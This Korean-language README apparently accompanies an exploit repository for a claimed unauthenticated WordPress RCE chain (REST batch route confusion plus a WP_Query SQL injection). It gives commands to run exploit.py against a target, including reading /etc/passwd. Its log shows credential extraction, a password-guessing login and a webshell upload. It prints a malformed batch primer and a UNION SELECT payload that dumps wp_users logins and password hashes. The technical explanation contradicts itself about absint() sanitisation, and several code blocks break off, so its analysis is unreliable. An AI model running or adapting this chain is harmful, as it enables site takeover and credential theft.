
# WordPress 인증되지 않은 RCE 익스플로잇: 라우트 혼동 및 SQL 인젝션 결합 라우트 혼동과 SQL 인젝션을 결합한 WordPress 인증되지 않은 RCE 익스플로잇. 자동화 스크립트, 실습 환경 구성, 상세 취약점 분석이 제공됩니다.
취약점: REST 배치 라우트 혼동 + WP_Query SQL 인젝션 → 완전한 RCE
CVSS v3.1: 10.0 / 10.0 — 치명적 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
영향받는 버전: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 패치된 버전: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)
---
## 빠른 시작
### 1. 취약한 실습 환경 구축
**요구 사항:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030
# Start vulnerable WordPress
docker compose up -d
# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080
pip install requests
python3 exploit.py http://localhost:8080
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"
python3 exploit.py http://localhost:8080 --check-only
### 3. 예상 출력```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible
[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...
[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123
[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated
[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php
[+] RCE CONFIRMED!
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@target$ _
| 파일 | 설명 |
|---|---|
README.md | 전체 취약점 분석 및 익스플로잇 보고서 |
exploit.py | 자동화된 익스플로잇 스크립트 (무접근(zero-access) → RCE 단일 명령) |
docker-compose.yml | 취약한 WordPress 실습 환경 |
chain-rce.md | 자동화된 RCE 체인 문서 |
images/ | 수동 익스플로잇 과정의 스크린샷 |
취약점: 인증되지 않은 원격 코드 실행 — REST Batch 라우트 혼동 + WP_Query SQL 인젝션
CVSS v3.1: 10.0 / 10.0 — 치명적(Critical)
Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVE-2026-60137은 WordPress 코어에서 발견된 인증되지 않은 RCE 취약점입니다. 이 취약점은 두 개의 독립적인 버그를 결합하여 무접근(zero-access) 상태에서 서버 전체 장악까지 이어지는 완전한 익스플로잇 체인을 구성합니다:
| CVE | 버그 | 체인에서의 역할 |
|---|---|---|
| CVE-2026-63030 | REST Batch 라우트 혼동 | 인증 우회 |
| CVE-2026-60137 | author__not_in SQL 인젝션 | 임의 데이터베이스 읽기/쓰기 |
영향을 받는 버전:
익스플로잇 조건:
→ 대부분의 WordPress 설치 환경은 기본적으로 취약합니다.
/wp-json/batch/v1)단일 HTTP 요청 내에서 여러 REST API 요청을 보낼 수 있습니다:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }
각 하위 요청은 자체 핸들러와 연결되며, 각 핸들러에는 자체 **권한 콜백**이 있습니다.
### WP_Query — `author__not_in`
핵심 데이터베이스 쿼리 클래스입니다. `author__not_in` 매개변수는 정수 배열을 허용하여 다음 SQL 절을 생성합니다:```sql
AND post_author NOT IN (5, 12, 23)
각 요소는 absint()를 통과하여 정수 부분만 유지합니다.
wp_parse_url()parse_url()의 래퍼입니다. 유효하지 않은 URL을 수신하면 WP_Error를 반환합니다.```php
wp_parse_url("https://example.com/path") // → OK
wp_parse_url("///") // → WP_Error
## 3. 근본 원인 — 버그 A: 배치 라우트 혼동 (CVE-2026-63030)
**파일:** `wp-includes/rest-api/class-wp-rest-server.php`
### 취약한 소스 코드:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
$requests = $batch_request->get_json_params()['requests'];
$matches = array();
foreach ( $requests as $i => $single_request ) {
$parsed = wp_parse_url( $single_request['path'] );
if ( is_wp_error( $parsed ) ) {
$responses[ $i ] = $this->error_to_response( $parsed );
continue; // ←BUG: $matches[] is NOT appended
}
$matches[] = $this->match_request_to_handler( $parsed );
// ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
}
// Dispatch — this is where the bug comes into play
$match_index = 0;
foreach ( $requests as $i => $single_request ) {
if ( isset( $responses[ $i ] ) ) continue;
$handler = $matches[ $match_index ]; // ← INDEX IS DESYNCED
$match_index++;
// Request[i] runs with the permission callback OF ANOTHER REQUEST
$permission_callback = $handler['permission_callback'];
call_user_func( $permission_callback, $single_request );
}
}
Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}
Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler
Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication
### 왜 `"///"`가 버그를 유발하나요?
PHP `parse_url()`이 `"///"`를 만나면 **RFC 3986** — URL 구조에 따라 파싱을 시도합니다:```
scheme :// authority / path
│ │ │
"https" "localhost:8080" "/wp/v2/posts"
│
host + port
"///"를 수신하면 다음과 같이 해석합니다:```
// → authority begins (double slash = has host)
/ → empty authority, path begins immediately
→ host = "" (empty)
→ path = "" (empty)
→ scheme = none
PHP 반환 결과:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version
WordPress는 이를 wp_parse_url()로 감싸서 → 유효한 스킴, 유효한 호스트, 의미 있는 경로가 없음을 감지하고 → WP_Error를 반환합니다.
wp_parse_url("///")는 WP_Error를 반환합니다(URL 형식이 잘못됨). 이 오류로 인해 $matches를 구성하는 루프에서는 요청이 건너뛰어지지만, 디스패치 루프에서는 건너뛰어지지 않아 → 배열이 동기화되지 않습니다.
파일: wp-includes/class-wp-query.php
class WP_Query { public function get_posts() { global $wpdb;
if ( ! empty( $q['author__not_in'] ) ) {
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
$where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
// ↑ INJECTION POINT
}
}
}
### 일반 (안전한) 경로:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
↑ sanitization occurs here
REST 컨트롤러 (class-wp-rest-posts-controller.php):```php
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE
### 라우트 혼동이 있는 경로 (취약):```
User input → Route Confusion bypass → WP_Query directly → SQL
↑ REST controller is SKIPPED
배치 비동기화가 발생하면 요청 매개변수는 REST 컨트롤러를 통과하지 않습니다 → 원시 문자열이 WP_Query로 바로 전달됩니다 → wp_parse_id_list()에 엣지 케이스 우회가 존재합니다 → SQL 인젝션.
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"
생성된 SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
↑ INJECTED ↑ commented out